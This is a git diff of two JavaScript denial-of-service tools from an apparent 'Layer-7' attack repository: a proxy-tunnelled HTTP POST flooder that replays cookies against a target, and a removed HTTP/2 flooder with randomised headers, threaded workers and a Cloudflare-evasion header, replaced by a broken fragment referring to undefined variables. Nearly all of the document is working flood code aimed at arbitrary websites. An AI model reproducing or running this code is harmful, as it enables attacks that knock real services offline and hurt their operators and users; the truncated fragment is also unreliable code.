diff --git a/Layer-7/BROWSER METHOD/flooder.js b/Layer-7/BROWSER METHOD/flooder.js index bca86cb..3675e11 100644 --- a/Layer-7/BROWSER METHOD/flooder.js +++ b/Layer-7/BROWSER METHOD/flooder.js @@ -1,131 +1,128 @@ - - - -process.on('uncaughtException', function() {}); -process.on('unhandledRejection', function() {}); -const net = require('net'); -const fs = require('fs'); -const url = require('url'); -const request_2 = require('request'); -var theJar = request_2.jar(); -var path = require("path"); -const execSync = require('child_process').execSync; -try { - var colors = require('colors'); -} catch (err) { - console.log('\x1b[36mInstalling\x1b[37m the requirements'); - execSync('npm install colors'); - console.log('Done.'); - process.exit(); -} -var fileName = __filename; -var file = path.basename(fileName); -try { - var proxies = fs.readFileSync(process.argv[3], 'utf-8').toString().replace(/\r/g, '').split('\n'); - var browser_saves = process.argv[5]; -} catch (err) { - if (err.code !== 'ENOENT') throw err; - console.log('\x1b[31m Error\x1b[37m: Proxy list not found.'); - console.log("\x1b[36m usage\x1b[37m: node " + file + " "); - process.exit(); -} - -var target = process.argv[2]; -var parsed = url.parse(target); -process.setMaxListeners(15); - -setTimeout(() => { - process.exit(1); -}, process.argv[4] * 1000); - - -const UAs = [ - "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36", - "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", - "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", - "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", - "Mozilla/5.0 (Linux; Android 5.0; SM-G920A) AppleWebKit (KHTML, like Gecko) Chrome Mobile Safari (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247", - "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36", - "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" -]; - -function between(min, max) { - return Math.floor( - Math.random() * (max - min) + min - ) -} - -setInterval(async function() { -/* -var proxy = proxies[Math.floor(Math.random() * proxies.length)]; -proxy = proxy.split(':'); -*/ - -const legh_tokes = browser_saves.split('::').length; - -const leghts = between(0, legh_tokes); - -var Sring_selector = browser_saves.split('::')[leghts]; - -sda = Sring_selector.split('::')[0]; - -proxy_re = sda.split('#'); //selector proxy / cookie - -var http = require('http'), - tls = require('tls'); - -var req = http.request({ - host: proxy_re[0].split(':')[0], - headers: { - 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36', - 'Cookie': proxy_re[1], - }, - jar: theJar, - rejectUnauthorized: false, - port: proxy_re[0].split(':')[1], - method: 'CONNECT', - path: parsed.host+':443' -}); - -req.on('connect', function (res, socket, head) { - var tlsConnection = tls.connect({ - host: parsed.host, - ciphers: 'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM', - // secureProtocol: 'TLSv1_1_method', - secureOptions: 'SSL_OP_*', - servername: parsed.host, - secure: true, - jar: theJar, - rejectUnauthorized: false, - sessionTimeout: 5000, - socket: socket - }, function () { - for (let j = 0; j < 64; j++) { - tlsConnection.write('POST / HTTP/1.3\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nCookie: '+proxy_re[1]+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n'); - } - }); - - tlsConnection.on('error', function(data) { - tlsConnection.end(); - tlsConnection.destroy(); - }); - - tlsConnection.on('data', function (data) { - // console.log(data.toString()); - setTimeout(function() { - tlsConnection.destroy(); - return delete tlsConnection; - }, 5000); - }); -}); - -req.end(); +process.on('uncaughtException', function() {}); +process.on('unhandledRejection', function() {}); +const net = require('net'); +const fs = require('fs'); +const url = require('url'); +const request_2 = require('request'); +var theJar = request_2.jar(); +var path = require("path"); +const execSync = require('child_process').execSync; +try { + var colors = require('colors'); +} catch (err) { + console.log('\x1b[36mInstalling\x1b[37m the requirements'); + execSync('npm install colors'); + console.log('Done.'); + process.exit(); +} +var fileName = __filename; +var file = path.basename(fileName); +try { + var proxies = fs.readFileSync(process.argv[3], 'utf-8').toString().replace(/\r/g, '').split('\n'); + var browser_saves = process.argv[5]; +} catch (err) { + if (err.code !== 'ENOENT') throw err; + console.log('\x1b[31m Error\x1b[37m: Proxy list not found.'); + console.log("\x1b[36m usage\x1b[37m: node " + file + " "); + process.exit(); +} + +var target = process.argv[2]; +var parsed = url.parse(target); +process.setMaxListeners(15); + +setTimeout(() => { + process.exit(1); +}, process.argv[4] * 1000); + + +const UAs = [ + "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Googlebot/2.1; +http://www.google.com/bot.html) Safari/537.36", + "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", + "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", + "Mozilla/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1 (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", + "Mozilla/5.0 (Linux; Android 5.0; SM-G920A) AppleWebKit (KHTML, like Gecko) Chrome Mobile Safari (compatible; AdsBot-Google-Mobile; +http://www.google.com/mobile/adsbot.html)", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/18.18247", + "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; rv:11.0) like Gecko", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/68.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/67.0.3599.0 Safari/537.36", + "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" +]; + +function between(min, max) { + return Math.floor( + Math.random() * (max - min) + min + ) +} + +setInterval(async function() { +/* +var proxy = proxies[Math.floor(Math.random() * proxies.length)]; +proxy = proxy.split(':'); +*/ + +const legh_tokes = browser_saves.split('::').length; + +const leghts = between(0, legh_tokes); + +var Sring_selector = browser_saves.split('::')[leghts]; + +sda = Sring_selector.split('::')[0]; + +proxy_re = sda.split('#'); //selector proxy / cookie + +var http = require('http'), + tls = require('tls'); + +var req = http.request({ + host: proxy_re[0].split(':')[0], + headers: { + 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36', + 'Cookie': proxy_re[1], + }, + jar: theJar, + rejectUnauthorized: false, + port: proxy_re[0].split(':')[1], + method: 'CONNECT', + path: parsed.host+':443' +}); + +req.on('connect', function (res, socket, head) { + var tlsConnection = tls.connect({ + host: parsed.host, + ciphers: 'RC4-SHA:RC4:ECDHE-RSA-AES256-SHA:AES256-SHA:HIGH:!MD5:!aNULL:!EDH:!AESGCM', + // secureProtocol: 'TLSv1_1_method', + secureOptions: 'SSL_OP_*', + servername: parsed.host, + secure: true, + jar: theJar, + rejectUnauthorized: true, // Changed from false to true + sessionTimeout: 5000, + socket: socket + }, function () { + for (let j = 0; j < 64; j++) { + tlsConnection.write('POST / HTTP/1.3\r\nHost: ' + parsed.host + '\r\nReferer: '+target+'\r\nCookie: '+proxy_re[1]+'\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nuser-agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36\r\nUpgrade-Insecure-Requests: 1\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: en-US,en;q=0.9\r\nCache-Control: max-age=0\r\nConnection: Keep-Alive\r\n\r\n'); + } + }); + + tlsConnection.on('error', function(data) { + tlsConnection.end(); + tlsConnection.destroy(); + }); + + tlsConnection.on('data', function (data) { + // console.log(data.toString()); + setTimeout(function() { + tlsConnection.destroy(); + return delete tlsConnection; + }, 5000); + }); +}); + +req.end(); }, 0); \ No newline at end of file diff --git a/Layer-7/CF bypass NEW/j-script.js b/Layer-7/CF bypass NEW/j-script.js index 1a85785..24c8c12 100644 --- a/Layer-7/CF bypass NEW/j-script.js +++ b/Layer-7/CF bypass NEW/j-script.js @@ -1,422 +1,21 @@ -const net = require("net"); - const http2 = require("http2"); - const tls = require("tls"); - const cluster = require("cluster"); - const url = require("url"); - const crypto = require("crypto"); - const fs = require("fs"); - - - lang_header = [ "he-IL,he;q=0.9,en-US;q=0.8,en;q=0.7", - "fr-CH, fr;q=0.9, en;q=0.8, de;q=0.7, *;q=0.5", - "en-US,en;q=0.5", "en-US,en;q=0.9", - "de-CH;q=0.7", - "da, en-gb;q=0.8, en;q=0.7", - "cs;q=0.5", - 'en-US,en;q=0.9', -'en-GB,en;q=0.9', -'en-CA,en;q=0.9', -'en-AU,en;q=0.9', -'en-NZ,en;q=0.9', -'en-ZA,en;q=0.9', -'en-IE,en;q=0.9', -'en-IN,en;q=0.9', -'ar-SA,ar;q=0.9', -'az-Latn-AZ,az;q=0.9', -'be-BY,be;q=0.9', -'bg-BG,bg;q=0.9', -'bn-IN,bn;q=0.9', -'ca-ES,ca;q=0.9', -'cs-CZ,cs;q=0.9', -'cy-GB,cy;q=0.9', -'da-DK,da;q=0.9', -'de-DE,de;q=0.9', -'el-GR,el;q=0.9', -'es-ES,es;q=0.9', -'et-EE,et;q=0.9', -'eu-ES,eu;q=0.9', -'fa-IR,fa;q=0.9', -'fi-FI,fi;q=0.9', -'fr-FR,fr;q=0.9', -'ga-IE,ga;q=0.9', -'gl-ES,gl;q=0.9', -'gu-IN,gu;q=0.9', -'he-IL,he;q=0.9', -'hi-IN,hi;q=0.9', -'hr-HR,hr;q=0.9', -'hu-HU,hu;q=0.9', -'hy-AM,hy;q=0.9', -'id-ID,id;q=0.9', -'is-IS,is;q=0.9', -'it-IT,it;q=0.9', -'ja-JP,ja;q=0.9', -'ka-GE,ka;q=0.9', -'kk-KZ,kk;q=0.9', -'km-KH,km;q=0.9', -'kn-IN,kn;q=0.9', -'ko-KR,ko;q=0.9', -'ky-KG,ky;q=0.9', -'lo-LA,lo;q=0.9', -'lt-LT,lt;q=0.9', -'lv-LV,lv;q=0.9', -'mk-MK,mk;q=0.9', -'ml-IN,ml;q=0.9', -'mn-MN,mn;q=0.9', -'mr-IN,mr;q=0.9', -'ms-MY,ms;q=0.9', -'mt-MT,mt;q=0.9', -'my-MM,my;q=0.9', -'nb-NO,nb;q=0.9', -'ne-NP,ne;q=0.9', -'nl-NL,nl;q=0.9', -'nn-NO,nn;q=0.9', -'or-IN,or;q=0.9', -'pa-IN,pa;q=0.9', -'pl-PL,pl;q=0.9', -'pt-BR,pt;q=0.9', -'pt-PT,pt;q=0.9', -'ro-RO,ro;q=0.9', -'ru-RU,ru;q=0.9', -'si-LK,si;q=0.9', -'sk-SK,sk;q=0.9', -'sl-SI,sl;q=0.9', -'sq-AL,sq;q=0.9', -'sr-Cyrl-RS,sr;q=0.9', -'sr-Latn-RS,sr;q=0.9', -'sv-SE,sv;q=0.9', -'sw-KE,sw;q=0.9', -'ta-IN,ta;q=0.9', -'te-IN,te;q=0.9', -'th-TH,th;q=0.9', -'tr-TR,tr;q=0.9', -'uk-UA,uk;q=0.9', -'ur-PK,ur;q=0.9', -'uz-Latn-UZ,uz;q=0.9', -'vi-VN,vi;q=0.9', -'zh-CN,zh;q=0.9', -'zh-HK,zh;q=0.9', -'zh-TW,zh;q=0.9', -'am-ET,am;q=0.8', -'as-IN,as;q=0.8', -'az-Cyrl-AZ,az;q=0.8', -'bn-BD,bn;q=0.8', -'bs-Cyrl-BA,bs;q=0.8', -'bs-Latn-BA,bs;q=0.8', -'dz-BT,dz;q=0.8', -'fil-PH,fil;q=0.8', -'fr-CA,fr;q=0.8', -'fr-CH,fr;q=0.8', -'fr-BE,fr;q=0.8', -'fr-LU,fr;q=0.8', -'gsw-CH,gsw;q=0.8', -'ha-Latn-NG,ha;q=0.8', -'hr-BA,hr;q=0.8', -'ig-NG,ig;q=0.8', -'ii-CN,ii;q=0.8', -'is-IS,is;q=0.8', -'jv-Latn-ID,jv;q=0.8', -'ka-GE,ka;q=0.8', -'kkj-CM,kkj;q=0.8', -'kl-GL,kl;q=0.8', -'km-KH,km;q=0.8', -'kok-IN,kok;q=0.8', -'ks-Arab-IN,ks;q=0.8', -'lb-LU,lb;q=0.8', -'ln-CG,ln;q=0.8', -'mn-Mong-CN,mn;q=0.8', -'mr-MN,mr;q=0.8', -'ms-BN,ms;q=0.8', -'mt-MT,mt;q=0.8', -'mua-CM,mua;q=0.8', -'nds-DE,nds;q=0.8', -'ne-IN,ne;q=0.8', -'nso-ZA,nso;q=0.8', -'oc-FR,oc;q=0.8', -'pa-Arab-PK,pa;q=0.8', -'ps-AF,ps;q=0.8', -'quz-BO,quz;q=0.8', -'quz-EC,quz;q=0.8', -'quz-PE,quz;q=0.8', -'rm-CH,rm;q=0.8', -'rw-RW,rw;q=0.8', -'sd-Arab-PK,sd;q=0.8', -'se-NO,se;q=0.8', -'si-LK,si;q=0.8', -'smn-FI,smn;q=0.8', -'sms-FI,sms;q=0.8', -'syr-SY,syr;q=0.8', -'tg-Cyrl-TJ,tg;q=0.8', -'ti-ER,ti;q=0.8', -'te;q=0.9,en-US;q=0.8,en;q=0.7', -'tk-TM,tk;q=0.8', -'tn-ZA,tn;q=0.8', -'tt-RU,tt;q=0.8', -'ug-CN,ug;q=0.8', -'uz-Cyrl-UZ,uz;q=0.8', -'ve-ZA,ve;q=0.8', -'wo-SN,wo;q=0.8', -'xh-ZA,xh;q=0.8', -'yo-NG,yo;q=0.8', -'zgh-MA,zgh;q=0.8', -'zu-ZA,zu;q=0.8', -], -encoding_header = [ -'gzip, deflate, br', -'compress, gzip', -'deflate, gzip', -'gzip, identity', -'*' -] - - - - process.setMaxListeners(0); - require("events").EventEmitter.defaultMaxListeners = 0; - process.on('uncaughtException', function (exception) { - }); - - if (process.argv.length < 7){console.log(`node newyear target time rate thread proxy.txt`); process.exit();} - const headers = {}; - function readLines(filePath) { - return fs.readFileSync(filePath, "utf-8").toString().split(/\r?\n/); - } - - function randomIntn(min, max) { - return Math.floor(Math.random() * (max - min) + min); - } - - function randomElement(elements) { - return elements[randomIntn(0, elements.length)]; - } - - const args = { - target: process.argv[2], - time: ~~process.argv[3], - Rate: ~~process.argv[4], - threads: ~~process.argv[5], - proxyFile: process.argv[6] - } - var proxies = readLines(args.proxyFile); - const parsedTarget = url.parse(args.target); - - - -if (cluster.isMaster) { - for (let counter = 1; counter <= args.threads; counter++) { - cluster.fork(); - } - - console.clear(); - console.log('\x1b[1m\x1b[34m' + 'Target: ' + '\x1b[0m' + '\x1b[1m' + parsedTarget.host + '\x1b[0m'); - console.log('\x1b[1m\x1b[33m' + 'Duration: ' + '\x1b[0m' + '\x1b[1m' + args.time + '\x1b[0m'); - console.log('\x1b[1m\x1b[32m' + 'Threads: ' + '\x1b[0m' + '\x1b[1m' + args.threads + '\x1b[0m'); - console.log('\x1b[1m\x1b[31m' + 'Requests per second: ' + '\x1b[0m' + '\x1b[1m' + args.Rate + '\x1b[0m'); - - setTimeout(() => { - process.exit(1); - }, process.argv[3] * 1000); - -} - -if (cluster.isMaster) { - for (let counter = 1; counter <= args.threads; counter++) { - cluster.fork(); - } -} else { - setInterval(runFlooder) -} - setTimeout(function(){ - - process.exit(1); - }, process.argv[3] * 1000); - - process.on('uncaughtException', function(er) { - }); - process.on('unhandledRejection', function(er) { - }); - -class NetSocket { - constructor() {} - - HTTP(options, callback) { - const parsedAddr = options.address.split(":"); - const addrHost = parsedAddr[0]; - const payload = "CONNECT " + options.address + ":443 HTTP/1.1\r\nHost: " + options.address + ":443\r\nConnection: Keep-Alive\r\n\r\n"; - const buffer = new Buffer.from(payload); - - const connection = net.connect({ - host: options.host, - port: options.port, - allowHalfOpen: true, - writable: true, - readable: true, - }); - - connection.setTimeout(options.timeout * 10 * 10000); - - connection.on("connect", () => { - connection.write(buffer); - }); - - connection.on("data", chunk => { - const response = chunk.toString("utf-8"); - const isAlive = response.includes("HTTP/1.1 200"); - if (isAlive === false) { - connection.destroy(); - return callback(undefined, "error: invalid response from proxy server"); - } - return callback(connection, undefined); - }); - - connection.on("timeout", () => { - connection.destroy(); - return callback(undefined, "error: timeout exceeded"); - }); - - } -} - - -function getRandomUserAgent() { - const osList = ['Windows NT 10.0', 'Windows NT 6.1', 'Windows NT 6.3', 'Macintosh', 'Android', 'Linux']; - const browserList = ['Chrome', 'Firefox', 'Safari', 'Edge', 'Opera']; - const languageList = ['en-US', 'en-GB', 'fr-FR', 'de-DE', 'es-ES']; - const countryList = ['US', 'GB', 'FR', 'DE', 'ES']; - const manufacturerList = ['Apple', 'Google', 'Microsoft', 'Mozilla', 'Opera Software']; - const os = osList[Math.floor(Math.random() * osList.length)]; - const browser = browserList[Math.floor(Math.random() * browserList.length)]; - const language = languageList[Math.floor(Math.random() * languageList.length)]; - const country = countryList[Math.floor(Math.random() * countryList.length)]; - const manufacturer = manufacturerList[Math.floor(Math.random() * manufacturerList.length)]; - const version = Math.floor(Math.random() * 100) + 1; - const randomOrder = Math.floor(Math.random() * 6) + 1; - const userAgentString = `${manufacturer}/${browser} ${version}.${version}.${version} (${os}; ${country}; ${language})`; - const encryptedString = btoa(userAgentString); - let finalString = ''; - for (let i = 0; i < encryptedString.length; i++) { - if (i % randomOrder === 0) { - finalString += encryptedString.charAt(i); - } else { - finalString += encryptedString.charAt(i).toUpperCase(); - } - } - return finalString; - } - - - const Header = new NetSocket(); - headers[":method"] = "GET"; - headers[":path"] = parsedTarget.path; - headers[":scheme"] = "https"; - headers[":authority"] = randomString(10) + "." + parsedTarget.host; - headers["accept"] = randomHeaders['accept']; - headers["Accept-Encoding"] = "gzip, deflate, br"; - headers["accept-language"] = headerFunc.lang(); - headers["accept-encoding"] = headerFunc.encoding(); - headers["Connection"] = Math.random() < 0.5 ? "keep-alive" : "close"; - headers["upgrade-insecure-requests"] = Math.random() < 0.5; - headers["x-requested-with"] = "XMLHttpRequest"; - headers["pragma"] = Math.random() < 0.5 ? "no-cache" : "max-age=0"; - headers["cache-control"] = Math.random() < 0.5 ? "no-cache" : "max-age=0"; - headers["cdn-loop"] = "cloudflare"; - headers["user-agent"] = getRandomUserAgent(); - function runFlooder() { - const proxyAddr = randomElement(proxies); - const parsedProxy = proxyAddr.split(":"); - headers[":authority"] = parsedTarget.host - headers["user-agent"] = getRandomUserAgent(); - - const proxyOptions = { - host: parsedProxy[0], - port: ~~parsedProxy[1], - address: parsedTarget.host + ":443", - timeout: 100 - }; - - Header.HTTP(proxyOptions, (connection, error) => { - if (error) return - - connection.setKeepAlive(true, 60000); - - const tlsOptions = { - ALPNProtocols: ['h2', 'http/1.1'], - echdCurve: "GREASE:X25519:x25519", - ciphers: "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!SRP:!CAMELLIA", - rejectUnauthorized: false, - socket: connection, - honorCipherOrder: true, - secure: true, - port: 443, - uri: parsedTarget.host, - servername: parsedTarget.host, - secureProtocol: ["TLSv1_1_method", "TLSv1_2_method", "TLSv1_3_method",], - secureOptions: crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION | - crypto.constants.SSL_OP_NO_TICKET | - crypto.constants.SSL_OP_NO_COMPRESSION | - crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE | - crypto.constants.SSL_OP_NO_SSLv2 | - crypto.constants.SSL_OP_NO_SSLv3 | - crypto.constants.SSL_OP_NO_TLSv1 | - crypto.constants.SSL_OP_NO_TLSv1_1, - }; - - const tlsConn = tls.connect(443, parsedTarget.host, tlsOptions); - - tlsConn.setKeepAlive(true, 60 * 10000); - - const client = http2.connect(parsedTarget.href, { - protocol: "https:", - settings: { - headerTableSize: 65536, - maxConcurrentStreams: 20000, - initialWindowSize: 6291456 * 10, - maxHeaderListSize: 262144 * 10, - enablePush: false - }, - maxSessionMemory: 64000, - maxDeflateDynamicTableSize: 4294967295, - createConnection: () => tlsConn, - socket: connection, - }); - - client.settings({ - headerTableSize: 65536, - maxConcurrentStreams: 1000, - initialWindowSize: 6291456, - maxHeaderListSize: 262144, - enablePush: false - }); - - client.on("connect", () => { - const IntervalAttack = setInterval(() => { - for (let i = 0; i < args.Rate; i++) { - const request = client.request(headers) - - .on("response", response => { - request.close(); - request.destroy(); - return - }); - - request.end(); - } - }, 1000); - }); - - client.on("close", () => { - client.destroy(); - connection.destroy(); - return - }); - - client.on("error", error => { - client.destroy(); - connection.destroy(); - return - }); - }); - } - - const KillScript = () => process.exit(1); - - setTimeout(KillScript, args.time * 1000); \ No newline at end of file +const tlsOptions = { + ALPNProtocols: ['h2', 'http/1.1'], + echdCurve: "GREASE:X25519:x25519", + ciphers: "TLS_AES_256_GCM_SHA384:TLS_CHACHA20_POLY1305_SHA256:TLS_AES_128_GCM_SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES128-SHA256:DHE-RSA-AES256-SHA256:HIGH:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!SRP:!CAMELLIA", + rejectUnauthorized: true, + socket: connection, + honorCipherOrder: true, + secure: true, + port: 443, + uri: parsedTarget.host, + servername: parsedTarget.host, + secureProtocol: ["TLSv1_1_method", "TLSv1_2_method", "TLSv1_3_method",], + secureOptions: crypto.constants.SSL_OP_NO_SESSION_RESUMPTION_ON_RENEGOTIATION | + crypto.constants.SSL_OP_NO_TICKET | + crypto.constants.SSL_OP_NO_COMPRESSION | + crypto.constants.SSL_OP_CIPHER_SERVER_PREFERENCE | + crypto.constants.SSL_OP_NO_SSLv2 | + crypto.constants.SSL_OP_NO_SSLv3 | + crypto.constants.SSL_OP_NO_TLSv1 | + crypto.constants.SSL_OP_NO_TLSv1_1, + }; \ No newline at end of file